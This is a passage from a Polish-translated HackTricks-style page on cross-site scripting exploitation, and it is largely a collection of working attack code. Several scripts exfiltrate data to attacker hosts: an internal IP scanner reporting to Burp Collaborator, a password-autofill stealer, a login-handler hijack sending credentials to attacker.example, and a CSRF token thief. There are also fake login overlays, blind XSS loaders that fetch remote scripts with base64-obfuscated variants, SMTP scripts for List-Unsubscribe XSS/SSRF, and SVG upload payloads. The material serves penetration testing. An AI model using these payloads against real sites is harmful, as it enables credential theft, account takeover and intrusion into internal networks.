Znajdź wewnętrzne adresy IP

<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Krótsze czasy oznaczają odpowiadający port Dłuższe czasy oznaczają brak odpowiedzi.

Przejrzyj listę portów zablokowanych w Chrome here i w Firefox here.

Pole do wpisania danych uwierzytelniających

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Przechwytywanie haseł autouzupełniania

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don’t write anything the credentials will be ex-filtrated.

Hijack form handlers to exfiltrate credentials (const shadowing)

Jeśli krytyczny handler (np. function DoLogin(){...}) jest zadeklarowany później na stronie, a Twój payload uruchamia się wcześniej (np. via an inline JS-in-JS sink), zadeklaruj najpierw const o tej samej nazwie, aby przejąć i zablokować handler. Późniejsze deklaracje funkcji nie mogą ponownie przypisać nazwy zadeklarowanej jako const, dzięki czemu Twój hook pozostaje pod kontrolą:

const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Notes

  • To zależy od kolejności wykonywania: twoje injection musi się wykonać przed właściwą deklaracją.
  • Jeśli twój payload jest opakowany w eval(...), powiązania const/let nie zostaną zamienione na globalne. Użyj dynamicznej techniki wstrzykiwania <script> z sekcji “Deliverable payloads with eval(atob()) and scope nuances”, aby zapewnić prawdziwe globalne powiązanie, którego nie można ponownie przypisać.
  • Gdy filtry słów kluczowych blokują kod, użyj kombinacji z identyfikatorami Unicode-escaped lub dostawą przez eval(atob('...')), jak pokazano powyżej.

Keylogger

Po przeszukaniu github znalazłem kilka różnych:

Kradzież tokenów CSRF

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Kradzież wiadomości PostMessage

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

PostMessage-origin script loaders (opener-gated)

Jeśli strona zapisuje event.origin z postMessage i później dołącza go do URL skryptu, nadawca kontroluje origin załadowanego JS:

window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});

Przepis eskploatacyjny (z CAPIG):

  • Gates: uruchamia się tylko, gdy window.opener istnieje i pixel_id jest allowlisted; origin nigdy nie jest sprawdzany.
  • Use CSP-allowed origin: pivot na domenę już dozwoloną przez victim CSP (np. strony pomocy dla niezalogowanych pozwalające analytics jak *.THIRD-PARTY.com) i hostuj /sdk/<pixel_id>/iwl.js tam przez takeover/XSS/upload.
  • Restore opener: w Android WebView, window.name='x'; window.open(target,'x') powoduje, że strona staje się swoim własnym opener; wyślij z hijacked iframe złośliwy postMessage.
  • Trigger: iframe wysyła {msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; parent wtedy ładuje attacker iwl.js z CSP-allowed origin i go uruchamia.

To zamienia origin-less postMessage validation w remote script loader primitive, która przetrwa CSP jeśli uda ci się wylądować na dowolnym origin już dozwolonym przez politykę.

Supply-chain stored XSS via backend JS concatenation

Kiedy backend buduje shared SDK przez konkatenację stringów JS z wartościami kontrolowanymi przez użytkownika, każdy quote/structure breaker może wstrzyknąć skrypt, który jest serwowany każdemu consumerowi:

  • Przykładowy wzorzec (Meta CAPIG): serwer dopisuje cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>}); bezpośrednio do capig-events.js.
  • Wstrzyknięcie ' lub "]} zamyka literal/obiekt i dodaje attacker JS, tworząc stored XSS w dystrybuowanym SDK dla każdej strony, która go ładuje (first-party and third-party).

Stored XSS in generated reports when escaping is disabled

Jeśli przesłane pliki są parsowane i ich metadata jest wypisywana w raportach HTML z wyłączonym escapingiem (|safe, custom renderers), ta metadata jest stored XSS sink. Przykładowy przebieg:

xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
'title': a_template['title'] % t_name  # %s fed by xmlhost

Szablon Django renderuje {{item|key:"title"|safe}}, więc attacker HTML jest wykonywany.

Exploit: umieść HTML zakodowany encjami w dowolnym polu manifest/config, które trafia do raportu:

<data android:scheme="android_secret_code"
android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/>

Renderowane z |safe, raport wypisuje <img ...> i uruchamia JS przy wyświetleniu.

Hunting: look for report/notification builders that reuse parsed fields in %s/f-strings and disable auto-escape. One encoded tag in an uploaded manifest/log/archive persists XSS for every viewer.

Abusing Service Workers

Abusing Service Workers

Accessing Shadow DOM

Shadow DOM

Polyglots

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt

Blind XSS payloads

Możesz także użyć: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Dostęp do ukrytej zawartości

Z this writeup można się dowiedzieć, że nawet jeśli niektóre wartości znikają z JS, nadal można je znaleźć w atrybutach JS w różnych obiektach. Na przykład input REGEX-a można wciąż odnaleźć nawet po usunięciu jego wartości:

// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

XSS Wykorzystywanie innych podatności

XSS w Markdown

Czy możesz wstrzyknąć kod Markdown, który zostanie wyrenderowany? Być może w ten sposób uzyskasz XSS! Sprawdź:

XSS in Markdown

XSS do SSRF

Masz XSS na stronie korzystającej z pamięci podręcznej? Spróbuj przekształcić to w SSRF przez Edge Side Include Injection z następującym payloadem:

<esi:include src="http://yoursite.com/capture" />

Użyj tego, aby obejść ograniczenia cookie, filtry XSS i wiele więcej!
Więcej informacji o tej technice tutaj: XSLT.

XSS in dynamic created PDF

If a web page is creating a PDF using user controlled input, you can try to oszukać bota that is creating the PDF into executing arbitrary JS code.
So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.

Server Side XSS (Dynamic PDF)

If you cannot inject HTML tags it could be worth it to try to wstrzyknąć dane PDF:

PDF Injection

XSS in Amp4Email

AMP, zaprojektowany w celu przyspieszenia wydajności stron na urządzeniach mobilnych, wykorzystuje tagi HTML uzupełnione JavaScript, aby zapewnić funkcjonalność z naciskiem na szybkość i bezpieczeństwo. Obsługuje zbiór komponentów dla różnych funkcji, dostępnych przez AMP components.

The AMP for Email format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.

Przykład writeup XSS in Amp4Email in Gmail.

List-Unsubscribe Header Abuse (Webmail XSS & SSRF)

The RFC 2369 List-Unsubscribe header embeds attacker-controlled URIs that many webmail and mail clients automatically convert into “Unsubscribe” buttons. When those URIs are rendered or fetched without validation, the header becomes an injection point for both stored XSS (if the unsubscribe link is placed in the DOM) and SSRF (if the server performs the unsubscribe request on behalf of the user).

Stored XSS via javascript: URIs

  1. Wyślij sobie e-mail where the header points to a javascript: URI while keeping the rest of the message benign so that spam filters do not drop it.
  2. Upewnij się, że UI renderuje wartość (wiele klientów pokazuje ją w panelu “List Info”) and check whether the resulting <a> tag inherits attacker-controlled attributes such as href or target.
  3. Wymuś wykonanie (e.g., CTRL+click, middle-click, or “open in new tab”) when the link uses target="_blank"; browsers will evaluate the supplied JavaScript in the origin of the webmail application.
  4. Observe the stored-XSS primitive: the payload persists with the email and only requires a click to execute.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

Znak nowej linii (%0a) w URI pokazuje, że nawet nietypowe znaki przetrwają proces renderowania w podatnych klientach, takich jak Horde IMP H5, które wypiszą ciąg dosłownie wewnątrz elementu .

Minimal SMTP PoC, który dostarcza złośliwy nagłówek List-Unsubscribe ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”

msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

#### Serwerowe proxy do unsubscribe -> SSRF

Niektóre klienty, takie jak aplikacja Nextcloud Mail, proxy'ują akcję unsubscribe po stronie serwera: kliknięcie przycisku powoduje, że serwer sam pobiera podany URL. To zamienia nagłówek w prymityw SSRF, zwłaszcza gdy administratorzy ustawiają `'allow_local_remote_servers' => true` (opisane w [HackerOne report 2902856](https://hackerone.com/reports/2902856)), co pozwala na żądania do zakresów loopback i RFC1918.

1. **Stwórz e-mail** gdzie `List-Unsubscribe` wskazuje endpoint kontrolowany przez atakującego (dla blind SSRF użyj Burp Collaborator / OAST).
2. **Zachowaj `List-Unsubscribe-Post: List-Unsubscribe=One-Click`**, aby UI pokazywało przycisk unsubscribe uruchamiany jednym kliknięciem.
3. **Spełnij wymagania zaufania**: Nextcloud, na przykład, wykonuje żądania HTTPS unsubscribe tylko jeśli wiadomość przejdzie DKIM, więc atakujący musi podpisać e-mail używając domeny, którą kontroluje.
4. **Dostarcz wiadomość do skrzynki obsługiwanej przez docelowy serwer** i poczekaj, aż użytkownik kliknie przycisk unsubscribe.
5. **Obserwuj callback po stronie serwera** na collaborator endpoint, a następnie pivotuj do adresów wewnętrznych, gdy prymityw zostanie potwierdzony.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM-podpisana wiadomość List-Unsubscribe do testów SSRF ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”

msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

**Notatki testowe**

- Użyj OAST endpointu do zbierania blind SSRF hits, a następnie dostosuj `List-Unsubscribe` URL tak, aby celował w `http://127.0.0.1:PORT`, usługi metadanych lub inne hosty wewnętrzne, gdy prymityw zostanie potwierdzony.
- Ponieważ unsubscribe helper często ponownie używa tego samego stosu HTTP co aplikacja, odziedziczasz jej ustawienia proxy, HTTP verbs i header rewrites, co umożliwia dalsze triki traversal opisane w [SSRF methodology](../ssrf-server-side-request-forgery/README.md).

### XSS przesyłanie plików (svg)

Prześlij jako obraz plik podobny do poniższego (z [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Znajdź więcej SVG payloadów w https://github.com/allanlw/svg-cheatsheet

Różne triki JS i istotne informacje

Misc JS Tricks & Relevant Info

Zasoby XSS

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks